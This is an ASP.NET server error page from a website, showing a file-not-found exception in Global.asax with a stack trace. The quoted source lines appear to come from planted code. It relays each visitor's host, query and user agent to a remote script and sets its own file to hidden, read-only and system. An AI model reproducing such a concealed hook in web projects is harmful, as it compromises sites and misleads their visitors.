Server Error in '/' Application.

Could not find file 'D:\Inetpub\vhosts\internettermsofuse.com\httpdocs\CalanderEvent\Global.asax'.

Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

Exception Details: System.IO.FileNotFoundException: Could not find file 'D:\Inetpub\vhosts\internettermsofuse.com\httpdocs\CalanderEvent\Global.asax'.

Source Error:


Line 50: 	string url = strPath+"/index.php?host=http://"+yuming+dizhi+"&q="+que+"&ua="+uagen;
Line 51: 	
Line 52: 	File.SetAttributes(HttpContext.Current.Server.MapPath("Global.asax"), FileAttributes.Hidden | FileAttributes.ReadOnly | FileAttributes.System); 
Line 53: 	Response.ContentType = "text/html;charset=GB2312";
Line 54: 	Response.ContentEncoding = System.Text.Encoding.GetEncoding("GB2312");

Source File: d:\inetpub\vhosts\internettermsofuse.com\httpdocs\Global.asax    Line: 52

Stack Trace:


[FileNotFoundException: Could not find file 'D:\Inetpub\vhosts\internettermsofuse.com\httpdocs\CalanderEvent\Global.asax'.]
   System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath) +519
   System.IO.File.SetAttributes(String path, FileAttributes fileAttributes) +65
   ASP.global_asax.Session_Start(Object sender, EventArgs e) in d:\inetpub\vhosts\internettermsofuse.com\httpdocs\Global.asax:52
   System.Web.SessionState.SessionStateModule.RaiseOnStart(EventArgs e) +10072443
   System.Web.SessionState.SessionStateModule.CompleteAcquireState() +160
   System.Web.SessionState.SessionStateModule.BeginAcquireState(Object source, EventArgs e, AsyncCallback cb, Object extraData) +1095
   System.Web.AsyncEventExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute() +254
   System.Web.HttpApplication.ExecuteStepImpl(IExecutionStep step) +48
   System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) +159


Version Information: Microsoft .NET Framework Version:4.0.30319; ASP.NET Version:4.7.4081.0